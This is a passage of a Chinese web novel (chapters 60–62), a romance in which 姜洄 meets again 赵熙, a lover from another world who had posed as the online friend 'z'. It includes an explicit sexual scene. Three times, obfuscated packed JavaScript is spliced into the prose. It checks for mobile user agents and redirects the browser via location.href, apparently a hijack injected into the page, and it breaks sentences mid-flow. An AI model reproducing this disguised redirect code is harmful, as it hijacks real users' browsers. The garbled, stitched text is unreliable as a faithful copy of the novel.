不过姜洄这张脸实在生得好看,看着一张这样的脸是很享受的事情——两张也是享受,且超级加倍。 不仅不觉得诡异,反而有种双倍且不尽相同的赏心悦目。 赵熙先笑了:“真可惜,不是。” 服务生敲门送菜,趁着这空挡,李哥戳了戳他,低声道:“真奇怪,他笃定你见了就会同意这事,难道是因为他长得和你很像?” 姜洄没吭声。 李哥问他要不要接着谈,姜洄麻木地点了下头。 其实他看似人还坐在这,实际上魂儿早就飘走了,根本听不见他们在讲什么,连自己点头也只是个本能反应罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138766|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李哥倒是安了心,虽然诧异他竟然真的能同意,但眼下有外人在,也没多问,转头和王律师商讨协议内容的细节去了。 姜洄慢慢回过神,知道今天来是有正事,不是他能发呆的好时机,还是费了一些力气,极力压下了那些纷乱的念头。 他刻意避开了赵熙的眼神,专注力全放在了李哥和王律师的谈话上,吃着面前的菜,偶尔平静地插上两句,心里祈祷着不管如何,这场会面最好快点结束。 但他惯会装腔作势,心里如何翻江倒海,面上都和进来时没什么两样。 不熟悉他的人只会以为什么都没发生过。 王律师是按赵熙的意愿在和他们谈话,但竟然相当好讲话,李哥为姜洄争取的所有利益对方几乎都同意了,只有一点要求,协议关系存续期间,双方必须积极营业。 而这份协议为期一年。 一年,多微妙的数字。 再多一些太长,少一些太短,他恰好卡在这个数字上,让姜洄想拒绝也显得毫无理由。 怪不得会想出这个计划…… 任何人来和他实施这份计划可能都不行,唯独赵熙可以。 他们是最了解彼此的人,也确确实实有过那么一段情缘,从各种意义上来说,这份营业cp的协议,都是为他们量身定做的。 谈话期间,赵熙默默给他转着菜,姜洄刻意回避也没办法,只能默不作声吃着。 李哥越看越稀奇:“这几份菜都是赵熙点的吧?你连吃饭的口味也和姜洄一样啊。” 赵熙笑笑:“那真有缘。” 狗屁的有缘。 姜洄木着脸想,赵熙被他养的一点也不挑食,什么都能吃——挑食的是他。 这份菜单里,赵熙点的那部分完全是迁就他的口味来的。 大概是赵熙的目光太烫人,姜洄如坐针毡,坐立难安,协议内容谈到最后,他实在没忍住,站起了身。 李哥停住话头看过来:“你去哪儿?” 姜洄:“……卫生间。” 他不忘戴上口罩,这才匆匆离开。 全程没有向赵熙投去一眼。 又过几秒,赵熙放下筷子,抽出纸巾擦了擦手,微笑道:“你们聊,我也去个卫生间。” 姜洄将一把冷水泼到了脸上,在室外零下几度的气温里,终于感觉整个人都清醒了过来。 他闭了闭眼,直起身,睁开眸子的一瞬间又僵住。 他在镜子里看到了身后靠在墙边的赵熙。 这人不知道何时进来的,没有摘下口罩,悄无声息,目光正透过镜子盯着他的脸。 姜洄浑身都木住了,感觉四肢百骇都传出冰冷的信号,血液凝固。 赵熙开口,第一句话却是道:“冬天这么洗脸,会感冒的。” 姜洄先看了眼卫生间的隔间——都开着门,没有人。 然后半晌才绷着脸,从喉咙里挤出声音:“你怎么会在这里?” 赵熙微微扬眉。 他懒散依靠着墙壁打量的姿态变了,脊背挺直,随后抬步朝他走过来。 “前辈问的是哪个问题?” 姜洄立时回头,退后两步。 赵熙停在他面前,看着他紧绷的姿态和冷漠的眼神,眸光轻轻一转,好像为他这样一句不带任何感情意味的质问以及这样的神情感到有些受伤。 他抿唇,轻轻抓住姜洄横在身前作防备姿态的那只手:“是问我为什么会在这个卫生间,还是我为什么会出现在这个世界?” 赵熙轻笑了声,拇指指腹顺着姜洄手腕根部微微凸起的那条经线往上,摩挲到他掌心。 他咬字清晰,却轻如鸿毛,一字一句地喊姜洄:“——小叔叔。” 60.围巾 姜洄的呼吸乱了一瞬,为这个多年未曾耳闻过的称呼。 他的手臂木头似的横在身前,整个人从脖颈到脸部的线条都写着僵硬,声音仿佛老旧的磁带失了真:“……你在说什么,我听不懂。” 仿佛并不意外姜洄的反应,赵熙叹了口气。 他们距离很近,赵熙温热的鼻息很轻地打在姜洄脸上,这一刹那姜洄差点以为他要吻上来了,这样的姿势太熟悉,以至于他差点下意识收回那条防御一般横在身前的手臂——但是没有。 他失神了两秒,感到颈后的位置,头发被人轻轻拂过,一片温热的温度覆在了他后颈处。 他听见面前的赵熙低声说:“你的头发又长了,小叔叔。” 姜洄便知道,他什么话都不必说了。 从xx的踪迹来看,赵熙来到这个世界至少两年了。 这两年赵熙有没有找过他?或者有没有想要找过他? ——肯定是有的,不然赵熙不会这样笃定他是谁。 那为什么两年都没和他再见呢? 接受不了曾经耳鬓厮磨的爱人原来是另一个世界的自己?因为被欺骗被背叛,恶心到不想再和他相认? 那今天的事情算什么?为什么又要出现在他面前?继续维持这样互不干扰的平静表象不好吗? 又或者,赵熙是准备来报复他了吗? 姜洄第一次,有些看不懂赵熙在想什么了。 或许当初的赵熙面对什么都不肯说的他时,也是这样的无力。 卫生间被人敲响,打破了他们之间诡异的气氛。 赵熙从他手腕上取下口罩,帮他戴上,指腹因此划过姜洄的耳畔,带起耳廓一阵敏感的颤动。 他宛若低叹般道:“回去吧。” 这就……结束了? 他心底有太多疑惑未曾被解答,但时机不对,赵熙显然也不打算现在就告诉他。 姜洄梦游一样被他牵着手腕带回了包厢。 一顿饭吃得食不知味,协议文书递过来时,姜洄愣了很久,才在赵熙若有若无的注视下默默一咬牙,签了。 “加个微信吧,”事情尘埃落定了,李哥也轻松许多,乐呵呵道,“有什么事情到时候你俩自己商量着来。” 姜洄飞快道:“不用了。” 赵熙嘴角笑意消失。 姜洄没看他,匆匆道:“有事电话联系就好,我知道你的电话。” 名片上有。 李哥有点懵,挠挠头,最终也没好把疑问说出口。 赵熙也没说什么,好像默认了。 出了饭店,赵熙似乎也没有继续拉着他算旧账的意思,甚至亲自送他们上了车,在车窗边对他们微笑着告了别。 ——下次见,小叔叔。 大雪纷飞里,姜洄读出了他的口型。 梦一样的会面结束了。 姜洄坐在车里远去,看着赵熙撑伞站在雪中,变成一个黑色圆点消失在地平线,从见到对方后就一直在狂跳的心脏终于安歇了几分。 他发了很久的呆,突然低头,看了看自己仍旧在轻轻颤抖的手。 没有哪一刻比现在让他更加清晰地意识到,他在恐惧。 本该在另一个世界的人出现在他面前了,在他完成任务的三年后。 当初和z开的玩笑成了真,一辈子都不可能再见的前男友,好像要来找他报仇了。 寂静的车厢里,他感到一阵耳鸣和眩晕,猝不及防重逢那点的惊喜和不可置信之后,他后知后觉地被恐慌塞满心田,情绪鼓鼓囊囊,好像下一秒就要在他耳畔炸了。 赵熙怎么来的?还会回去吗?他经历了什么?为什么穿过来到现在是二十二岁? 还有最重要的那个问题。 ——赵熙会对他做什么? 李哥担忧的呼喊和车流鸣笛的声音把他唤醒,姜洄白着一张脸,却仍旧说:“我没事。” 他婉拒了李哥要送自己上楼的提议,听见对方嘱咐他:“节目最新一期半个月后就要开拍,你最好早做准备,和赵熙多熟悉熟悉。” 还用熟悉个鬼。 他们要是不熟悉,这世上就没有谁会更熟悉了。 姜洄摆摆手,不想多说,转身走进了电梯。 叮铃。 手机响了一声。 他不做思考地拿了出来,看见半小时前——饭局刚刚结束的时候z给他发了一条消息。 【z:姜老师,你是不是知道了?】 知道什么? 姜洄的思绪一时没能转过来。 他视线下移,落在下面那条消息上。 这条信息来自三分钟前。 【z:我在你家门口等你,我们聊聊吧。】 ? 什么家门口? 不等姜洄被冲击到迟钝的脑子重新运转,z的新消息紧接着发了过来。 【z:我从窗户看到你回来了,姜老师。】 叮—— 电梯应声停在了十二楼。 姜洄下意识迈出一步,走出了电梯。 【z:抬头。】 姜洄抬头。 他看见面前几步之遥,一道熟悉的身影站在走廊里,一只手里还拿着手机,正朝他微笑。 就在半小时前,这个人还在和他挥手告别,跟他说“下次见”。 然后—— 姜洄听见他慢条斯理地说:“又见面了——姜老师。” 姜老师。 ……姜老师? 姜洄一瞬间大脑空白,他下意识后退一步,扣住电梯的门框,扭头要走。 赵熙手机往兜里一塞,三两步上来抓住他,将他又拽了出去。 电梯们叮一声合上—— 姜洄彻底没有退路了。 赵熙拉下口罩,贴近那张和他一模一样的脸,扯着唇,皮笑肉不笑地问他:“跑?” “要跑去哪里啊,前辈?” 分明是轻飘飘的语气,姜洄却听出了几分咬牙切齿。 他哑口无言。 目光游移着,飘过空无一人的走廊,姜洄试图寻找另一道身影。 ……当然只是徒劳。 “怎么,看见是我,很惊讶吗?”注意到他的动作,赵熙攥住他手腕的手指更紧了两分,声音也低了些,“你期待是谁呢?” 姜洄抿着唇,竟然没能将手从他手里拽出来。 这蠢狗,几年不见,力气更大了。 他克制着身体颤抖的本能,几乎是用气音道:“你放手。” 赵熙那双墨色的眼睛死死钉在他脸上,启唇要说什么,不知为何还是没有说出口。 他松了点力气,如姜洄所愿松了手。 甚至还温和礼貌地退了两步。 他表情又恢复了今天刚见面时那副轻松平静的模样,好像刚刚那个抓着姜洄不放的人不是他一样。 姜洄绷着脸,紧张过度的呼吸都吐在了口罩里,他尽力维持着表面的平静和体面,隔了一层口罩,他声音闷闷的:“你……为什么在这?” “这是你第二次问我这个问题了。”赵熙朝他笑,“不请我进家门坐坐吗?” 姜洄沉默。 他不认为自己现在和赵熙的关系是还可以邀请对方回家做客的份。 但事已至此,不管要聊什么,在走廊里都不是个好的选择。 他敛下眉眼,走到1202的门前,用指纹解了锁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146892|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这间公寓不大不小,姜洄一个人住刚刚好,他对家里的装饰追求不多,屋里的陈设基本是冷色调的,就算阳光落进来也显得死气沉沉的。 外头多挂个牌子,说不定进来的人会以为这是间停尸房。 姜洄站在玄关,脱了大衣,搭在一旁的衣架上,看着一身西装革履的赵熙犯了难。 他从未邀请别人来家里做过客,因此也没有准备过第二个人的拖鞋。 赵熙倒是坦然:“我可以穿你的。” 姜洄:“……” “又不是没穿过。” 姜洄张了张嘴,面露为难。 赵熙脸上的笑落下去了一瞬,很快又恢复:“开玩笑的,你不介意的话,我可以光着脚。” 姜洄默然,把一双洗干净的拖鞋从柜子里拿出来丢给他:“还是穿着吧。” 赵熙愣了下:“……小了点。” 姜洄没看他,转身走向沙发:“只有这个。” 他当然知道小了,赵熙又没和他一样营养不良地长大,又常年健身,个子身材都比他壮实,脚码也要大一些,不然他刚刚在为难什么? 谁叫他要穿呢?姜洄在心里轻哼。 赵熙无奈,好在拖鞋虽然小了点,但也能穿,他跟着姜洄走向客厅的沙发,目光在屋子里的陈设上轻轻飘过,微不可察地皱皱眉。 姜洄冷淡地给他倒了杯茶,摘下口罩,生硬道:“要聊什么,聊吧。” 赵熙却没有坐在他对面。 他停在沙发前,看着姜洄,眼神复杂。 ——准确来说,是看着他脖子上的围巾。 姜洄顺着他的视线低头看去,围巾松松垮垮系在他脖子上,是他今天出门时随手带的一条,现在看来却有些眼熟…… 这不是z送给他的生日礼物吗? ……哦,不该叫z,是赵熙。 xx是他,z也是他。 姜洄抿唇,心里莫名有些懊恼。 虽然对这个结论一早就有了猜测,甚至知道真相时除了“果然如此”的震惊之外毫无意外之感,事到如今还是会忍不住感到些许难堪。 他想到z之前还和他说,不告诉他真名,是为了见面时留点惊喜感。 ……什么惊喜。 姜洄一颗心都要被吓得跳窗而逃了。 这样耍他很好玩吗? 他不回话,姜洄也懒得再问,他僵硬着退开了些,鼻端闻不到赵熙身上那股熟悉的淡淡清茶味了,才停下来。 一种诡异的安静在两人之间发酵。 赵熙伸手,抓住他围巾的一端,指腹摩挲了两下,语气生涩:“小叔叔很喜欢这条围巾吗?” 这是什么问题? 姜洄谨慎道:“一般吧。” 赵熙“哦”了一声:“那你还戴出去?” 姜洄忍不住扫他一眼,心想,这难道不是你送的吗?还不能戴了? 他没把这话说出来,仍旧只道:“放在衣柜里随手拿的。” 赵熙又“哦”了一声,平静道:“这样啊。” 他停了两秒,微微弯腰,朝姜洄倾身凑过来。 他的手指顺着围巾往上,将它解开,揭了下来。 脖颈一瞬间有些冷,姜洄缩了缩脖子,下一秒,双腿被人挤开了。 赵熙膝盖杵在他腿间,岔开他的两条腿,居高临下地看着他。 “不喜欢它,却可以随手戴着出去。”赵熙在他耳畔轻轻道,“说喜欢我亲手做的围巾,却从来没戴过。” 他冰凉的手指抚摸过姜洄的脖颈,游蛇一般顺着下颌流畅的线条移到白玉一样的耳垂,轻轻捏了捏。 “小叔叔,你嘴里的喜欢和不喜欢,到底哪个才是真的呢?” 61.生气 赵熙的目光从他的后颈挪到他脸上,缓缓爬过他的眉毛、眼睛、鼻梁,然后到嘴唇,他的眼神像是变成了一支笔——还是一只毛笔,隔空将姜洄的五官细细描摹了一遍,阴湿又粘腻,带着不为人知的、贪婪的占有欲。 下一刻,目光对视。 姜洄预感到什么,张了张嘴,话还没出口,想抬手先挡一挡—— 当然没挡住。 赵熙攥住他的手腕,手指挑开他的眼镜,俯首,唇齿间带着凉薄的雪意倾过来,将他牢牢压在沙发上,箍在了这一片天地。 唇齿相贴,灵魂比身体更先一步认出对方。 姜洄没忍住,从唇间溢出一声低吟。 他看着这张和自己一模一样的、近在咫尺的脸,一时间不知道是不是自己在做梦。 挣扎的幅度一再减小,最后趋于平静。 这不算是个温柔的吻。 赵熙的舌头在他嘴里横冲直撞,用一种好像要把他这几年欠的吻都要补回来的架势,气势汹汹,毫无章法地又吸又吮又舔又咬,姜洄张着嘴,两只手都被他桎梏住,几乎喘不过气,只能任由他摆布。 又或许,是他也不知,除了吻,他们该说些什么了。 他们之间有太多玄之又玄的问题还没有解决……但在解决之前,他们的身体更迫切地需要一场亲密来确认彼此的温度,以确保对方不是幻觉。 但吻到一半,赵熙却忽然分开了唇齿。 腿边抵着的温度实在不容忽视,两人的视线相触都已经变得粘稠炙热。 但赵熙抿了抿唇,盯着姜洄,却突兀道:“你瘦了。” 姜洄望着头顶的天花板,被他亲得懵懵的,骤然从亲吻中抽离,下意识伸手抓了一下他的胳膊:“……有吗?” 他是演员,有严格的身材管控要求,可能这几年因为精神原因是瘦了些,但只要上镜不脱相倒也没关系,因此周围也没人跟他提过他瘦没瘦这件事。 赵熙低头蹭了蹭他的唇角,又很轻地舔了一下。 “要是今天来的不是我,你是不是就不是这个表情了?” 姜洄顿住:“……什么?” 赵熙低声道:“要是今天来找你的不是我,你会不会很高兴?” 姜洄眼神聚焦,落到他身上,张了张口,不太明白他在说什么。 赵熙平静道:“你也会把他带进门吗?会和他接吻……会让他把手放在你腰上,和他上床吗?” “——如果z不是我。” 姜洄静静盯了他一会儿,被他亲得软下来的身体忽然又僵住了。 他冷声道:“起来。” 赵熙忽然有点后悔问出这个问题。 他不想看小叔叔这样—— 用这种冷漠到刺痛人的眼神看着他。 赵熙贴近了些,安抚似地吻了吻姜洄的右眼——尽管他们已经太久没见,但这动作几乎已经成了他的一种习惯。 他接着往下,试图逃避这个话题,还要续上刚刚的吻时…… 姜洄倏地挣扎着,抽出一只手,狠狠甩了他一巴掌。 很响亮的一声,屋子里有片刻安静。 姜洄声音凉飕飕的:“我们已经分手了,你又是以什么身份来亲我的?” 赵熙闭了闭眼,回头对上他的眼神。 “我没同意过分手。我——” 话说到一半,他愣住了。 姜洄在哭。 他哭得并不明显,去掉眼镜后,右眼有一种格外明显的机械质感,因为眼球问题,流泪时眨眼的频率很快,他下颌线紧绷着,只有眼眶是红的,眼泪沉默地从眼角滑下来,然后落入鬓角消失不见。 他的眼泪就和这个人一样,生气或委屈,思念和痛苦,爱与恨,都悄无声息。 赵熙抖了抖唇,眼里慌乱一闪而过。 他松开了些桎梏住对方的手,声音也放轻了,磕巴道:“对、对不起。” “……别哭,你别哭。”他伸手去抹姜洄的眼泪,一时间手足无措,像是又变成了十几岁时喜欢和爱都不知所谓的高中生,只知道依附本能行事。 可指腹下湿润温热的泪抹了又落,落了又抹,却始终没有止阀的趋势。 赵熙说得磕磕绊绊,眼睛眨了两下,温热的泪也沿着潮意蔓延的眼眶滚下来。 他们倒在沙发上,赵熙笨拙地吻他,不带任何情欲的意味,只是安抚,明明自己眼眶也红了,泪珠子跟绝了堤一样,却还是坚持哄他:“对不起,我不该说这些,对不起……我没有别的意思,你别生气。是我的错,是我的错……” 姜洄其实是气的。 气他明明早就来到这里却和他两年不见,气他以z的名字戏弄自己,到头来还要用这种冷嘲热讽的语气对他阴阳怪气,气强吻的是他、亲完耍小脾气也是他……但又被他小鸡啄米一样的亲法搞得实在有点懵。 劈头盖脸一顿道歉砸在脸上,再看他眼眶红得吓人,心里那点气一下就散了。 赵熙从没在他面前流过泪——当然,也可能是当初有他护着,根本没什么事能让赵熙流泪。 听着他语无伦次的道歉,姜洄抿唇。 ——是他的错? 赵熙有什么错? 被他擅作主张地拉出那条小巷,养成姜洄想养成的样子,喜欢时千好百好,想离开了又被他随意一脚踹开…… 再见面赵熙没有直接掐死他,都算赵熙有涵养。 他那一巴掌,打的实在偏颇,就是仗着明明看出来对方还放不下这段感情,便随意发泄着自己的怨气。 但他哪来的脸面有怨呢? 赵熙说什么他都该受着的,是他对他不起。 姜洄抬手,将赵熙的脑袋按在自己脖颈处,没吭声。 他想,这小子果然是来报复自己的。 赵熙的身子也僵了一下,不说话了。 无声的湿润浸透了姜洄肩颈的毛衣一角,他们拥在一起,枕在那条散落的围巾上,无声地流着泪。 明明一个比一个高挑,依偎在一块儿时,却像是两只蜷缩着、互相舔舐着彼此伤口的幼兽。 不知何时,唇舌又吻在了一处。 赵熙却变得有些束手束脚起来,他们咸涩的泪一起落下,又不断滑入交缠的唇齿间,吻到一半,他再次分开了些,岔开脑袋。 姜洄咽了咽口水,声音沙哑:“干什么?” 赵熙于是又把脑袋转回来,小声道:“还,还让亲吗?” 姜洄:“……” 他哑然失笑:“不让,那你起来。” 赵熙眼里闪过一抹失落,竟然真的老老实实从他身上爬起来了。 姜洄身上重量骤然消失,愣了愣。 安静两秒,他坐直身,不太自在道:“被我打怕了?” 赵熙抬头看他,又垂下眼,如此两次,声音很闷:“嗯,打怕了。” 怕再看到他流泪,怕他用那种冷冰冰的眼神看着他。 更怕明明唇齿交缠、身体亲密无间,心却天各一边。 姜洄心脏一抽。 他抿唇:“……对不起。” 赵熙眨了下眼,水闸一样关不掉的泪仍在滑落,他看着姜洄,呆愣愣的还没反应过来:“什么?” 姜洄别扭地移过视线,道:“不该打你,我道歉。” 赵熙沉默了会儿:“没关系。” 姜洄道:“我道歉你也不高兴?” 赵熙垂眼,伸手去勾他的手指:“因为我在想,你下一句是不是要跟我划清界限了?” 姜洄:“……猜的真准。” 赵熙脸色一下变了,张口,语气像挽留又像哀求:“小叔叔。” 但姜洄脸上的那点笑也消失了。 “我不是你小叔叔。” 他抽回手,不肯再看赵熙,视线虚虚落在客厅地砖的缝隙上,眼眶还带着泪干后的涩意:“你不觉得恶心吗?” 赵熙抓了个空,茫然:“什么?” 姜洄咽了咽喉间的哽咽,尽量平铺直叙:“看着这样一张和你一样的脸……接吻、做/爱,你不觉得恶心吗?” 赵熙很平静,只是眸子死死盯着姜洄的侧脸,捕捉他的每一个眼神,好像生怕他一个不小心就跑了。 “你不觉得,我就不觉得。” 姜洄缄默两秒,轻嗤:“说得轻松。” 可他能和赵熙在一起,是因为他从决定和赵熙试试的时候就已经接受了,赵熙是他自己这件事。 他从头到尾都知道,但赵熙不知道。 姜洄很想相信他,毕竟他知道赵熙不会对他撒谎,但他没有办法做到毫无芥蒂。 他很在意,特别在意,在意赵熙爱的到底是谁?是那个救下他的“赵茴”,还是眼前这个完完整整的姜洄。 赵熙也沉默了片刻。 他轻声道:“其实我猜到了。” 猜到什么? 姜洄一时没反应过来,抬头看他。 “你比‘赵茴’要瘦一些,还有身高,”赵熙慢吞吞道,“你们身高不一样,性格也不一样。” 赵熙静静看了他很久,说,“小叔叔,如果你一定要一个答案,我的回答只会是没有。” 他要的不多,从来只有小叔叔一个。 来到这个世界第一眼,路过街头看见led大屏上那张脸,他便瞬间确认了,姜洄就是他要找的人。 从前那些蛛丝马迹最终在他心头汇成了唯一的答案,得知姜洄是谁的那一刻,他甚至由衷感到庆幸。 赵熙多聪明的一个人啊,哪怕没有任何人告诉他,也能大概推测出姜洄是为什么出现在他那个世界,又是什么时候出现在那个世界的。 他甚至庆幸到那时失语良久,只能盯着那张熟悉至极的脸,心中喃喃—— 原来是你。 幸好是你。 姜洄却闭了闭眼:“我说了我不是你小叔叔。” “那只是一个任务……一个身份。那不是我。” 可在赵熙心里,小叔叔这个称呼,从来只属于姜洄一个。 但赵熙看着他低垂的眉眼,没有说出来,他从善如流地改口:“那你想要我叫你什么?姜老师,前辈,还是……” 他犹疑道:“像你粉丝一样,喊你小洄?” 姜洄沉默了一下,没在这个问题上纠结:“你是怎么来的?” 这次轮到赵熙垂眼了。 姜洄心里不妙的预感越来越强,眉头微皱,语气带了些催促: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149871|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说。” 赵熙笑笑:“就是完成任务,和你一样,完成了就有一个实现愿望的机会。” 他说得简单,姜洄心头的疑问却更多了。 怎么就那么巧,赵熙也被系统绑定了? 他是生死攸关为了捡回这一条命不得不绑定的系统,那赵熙呢?也在那边受伤了? 心头思绪万千,到最后,嘴里吐出来的却只有一句:“你的愿望,是来找我?” 赵熙点头。 “是来你的世界,找你。” 姜洄:“两年前就来了?” 赵熙低声道:“嗯,2036年十二月底来的。” 姜洄算算时间,和他加上z以及xx签约星辉的日子都很近。 “……那为什么不来找我?” 赵熙垂着眼:“我……” “怎么?没认出来我?” “不是,我那时候……”他手指揉搓着西装一片衣角,明明长得人高马大,此刻却跟电视剧里受气的小媳妇儿似的,垂头丧气,“我那时候身无分文,连住所都找不到,什么都没有。我不想这样来见你。” 他记得小叔叔很喜欢钱。 他没钱,那时候出现在姜洄面前,只有伸手要钱的份。他不想这样,他怕小叔叔对他失望,也不想小叔叔看到他失去一切、分文没有的狼狈样子。 他也害怕,怕姜洄的离开并不仅仅是不得已,还有其实根本不喜欢他的原因。 “……” 要说的太多,姜洄一时竟然无语哽咽。 “所以,你就伪装了个z的身份来接近我?” “我没有!”赵熙提高了点音调,和他对视,立刻又把音量调低了,“我……那时候只是刚买到手机,和圈里人要到了你的联系方式,我太想你了。” 他耳朵红了一片,又低下头,语气生涩:“虽然没有办法去见你,但想见你的心还是控制不住。” 想见你,想亲你,想拥抱你……但这些都不行。 “本来,我不打算发你那个好友申请的。” 赵熙抬手摸了摸脖颈,有点不好意思:“看你朋友圈的时候不小心点到了。” 姜洄:“……” 赵熙瞥他一眼,小声道:“谁知道你竟然通过了……我不想被你删除,就默认了我是宋姐介绍的。” 他以另一个身份去接近对方,以一个朋友的身份陪在姜洄身边,好像这样,他们就还在从前。 说到这里,赵熙语气酸溜溜道:“所以宋姐到底是谁?她为什么给你介绍对象?” 赵熙还有句话没说出来,即将脱口时又飞快咽回去了。 ——为什么你会通过这个好友申请? 他不敢问,怕姜洄生气他乱吃醋,也怕听见自己不想听见的答案。 姜洄心虚了一秒:“宋姐是我朋友。至于为什么给我介绍对象……” 赵熙“嗯?”一声,脑袋凑过来看他。 “……就只是随口提到了而已。” 姜洄欲盖弥彰,“还没问完你的话呢,你先回答完我的问题。” 赵熙:“哦。” “一直没找我,那为什么今天来找我了?” 赵熙瞄了他两眼,老老实实道:“听说你热搜的事情,你经纪人跑了很多家访谈都没谈拢……加上我正好需要一个机会在公众面前露脸,我在星辉,和星辉的CEO有些交情,请他给了你一个综艺邀请。” “只因为这个?” 赵熙脑袋低下来一些:“……还有,我想见你。” 想见他,想帮他,想以恋人的身份重新站在他身边。 姜洄无声半晌,揉了揉他的脑袋。 赵熙抬头抓住他的手腕,眼睛亮了些,顺势抓着不放了。 姜洄动了动,没抽回来。 “你自己呢?” “什么?” “你那边,赵家,”姜洄语气带上几分沉闷,“你来了这,赵家不要了?不管了?” 赵熙眼神飘了一瞬间:“……管的,管得好好的。” 姜洄皱眉:“你还能回去不成?” 赵熙咳了一声:“差不多。你放心,赵家企业都好好的,没被我治坏。” 姜洄心说谁他妈担心这个了。 他烦躁的是赵熙来了这里,竟然还要从头开始打拼,抛下赵家本来可以好好享受的荣华富贵跑来这儿找他,值得吗? 他被姜洄养的那么金尊玉贵,连家务都不会做的人,竟然要身无分文地从头开始打拼……一个人。 就因为放不下姜洄陪着他的那十年? 可若是要谴责赵熙,他最没有立场。 姜洄闷不做声,总觉得赵熙没有说实话,有哪里不太对。 赵熙却牵起他的手,和他十指相扣,对他的疑虑毫无察觉:“问完了吗?是不是到我了?” 姜洄回神,其实还有很多问题不知该如何问,但他看着赵熙的眼神,默了默:“……你要问什么?” 赵熙道:“我不问什么。” 他眨了下眼,将姜洄的手放到脸颊边,留恋地蹭了蹭,低头一眨眼,滚烫的湿意又落到了姜洄手背上:“只要你别生气,也别赶我走……我们还和从前一样,好不好?” 62.关注 还和从前一样? 姜洄沉默了。 “可我已经不是你的小叔叔。” 赵熙略带几分急切道:“这无关身份,只要你想,我们就可以和以前一样相处。” 姜洄伸手去抹赵熙的眼泪,感觉到他在轻轻颤抖:“只要我想?……可你又了解我多少呢?” 赵熙抿了下唇,坦然点头:“我从前确实对你知之甚少。” 不管是姜洄有意隐藏,还是因为那时的身份局限……他们曾经的相爱都太不公平,也太草率。 他偏头,吻了吻姜洄的手心,轻声道,“所以这一回,让我再重新了解你一次吧。” 在明白姜洄是谁之后,他调查过对方的过往,那些无数个本应该和他一样被救赎的日日夜夜,姜洄都是一个人熬过来的,没有人救过他。 所以他明白了对方曾经所有的未尽之言下深藏的恐惧,也明白了他不肯直言的自卑与不安。 他花了两年,为自己重新打造了一个身份,在这个世界一步一个脚印,像曾经的姜洄一样站在了顶峰,在两年里一点点去重新接近他、了解他,让自己终于也成为了一个可以在姜洄遇见难题时,伸手为他施援的人。 他以这样的身份重新站在姜洄面前,就是想告诉他—— 你的世界没有人救你,那这一次,换我为你爬上顶峰,我来救你。 你恨无人爱你,我来爱你。 既然他们本是一个人,又有什么事情是不可以向自己倾诉、为自己解决的呢? 姜洄迟疑着启唇,几度张合,还是没能在他小心翼翼的期待眼神里说出什么来。 “……随你吧。” 赵熙又凑过来吻他。 姜洄没有拒绝,只道:“别哭了。” 多大的人了还哭得和小孩儿一样。 赵熙没说话,眼泪却应声止住了。 直到室内升温,赵熙的手已经顺着毛衣掀进去,覆在他腰间往下的位置,低声问他:“可以吗?” 姜洄僵了僵,垂眼舔了舔唇:“……去床上。” 久别重逢,身体比嘴巴更先一步承认了思念,姜洄的脊背弓起又落下,汗珠从额头滚落,正气息不稳时,听见赵熙问他:“要关灯吗?” 姜洄不说话,眼皮都懒得掀。 赵熙便不再问了,他吻过姜洄额角的汗珠,唇落在姜洄眼皮上,手指抚过他背上那片早已挛缩的丑陋疤痕,动作要比过往的每一次都轻柔怜惜。 看他瑟缩了一下,赵熙轻声道:“疼吗?” 语气带着自己都没发觉的小心和颤抖。 姜洄闭了闭眼,眼角沁出一点泪,不知是疼,还是因为别的什么,哑声回他:“……你废话好多。” 姜洄身上其实还有不少伤疤,但都比较浅,只有左手手腕上的那条伤痕最明显,不过平时穿着长袖看不出来。 赵熙盯着那条疤皱眉。 他问起来,姜洄便语气懒散道:“是演戏的时候受的伤。” 赵熙不答,也不知道信没信。 他细细密密地吻过姜洄身上每一个地方,其中,姜洄后背那片烟疤和右眼最得赵熙青睐。 姜洄隐约明白他的意思。 因为他问赵熙会不会觉得恶心,所以现在,赵熙在告诉他,他不恶心——只心疼。 他的一切赵熙从来都全盘接受,就像曾经的那十年里一样。 如同他对姜洄所说的那样,只要姜洄愿意,一切如旧。 头顶的白炽灯明亮耀眼,姜洄被迫沉浮在这片海浪之中,每当感觉快要窒息时,身上的人又会凑过来和他接吻,像是为他渡一口气。 赵熙吻过他额头的汗珠,却有什么更滚烫的东西从脸上滑下来,落到了姜洄脖颈边。 他声音沙哑:“……我们是什么关系?” 这话说的很轻,像是呢喃。 姜洄声音断断续续的,抬手去碰他的脸,嘴唇张合,说不出话。 赵熙便又在他耳边重复了一遍,仍旧很轻。 “小叔叔。我们——是什么关系?” 他这样问着,动作却一下比一下狠戾,姜洄被弄得根本答不出来,只能咬着唇承受。 他也懒得纠正赵熙的称呼了,只迷迷糊糊地心想,反正不是叔侄关系。 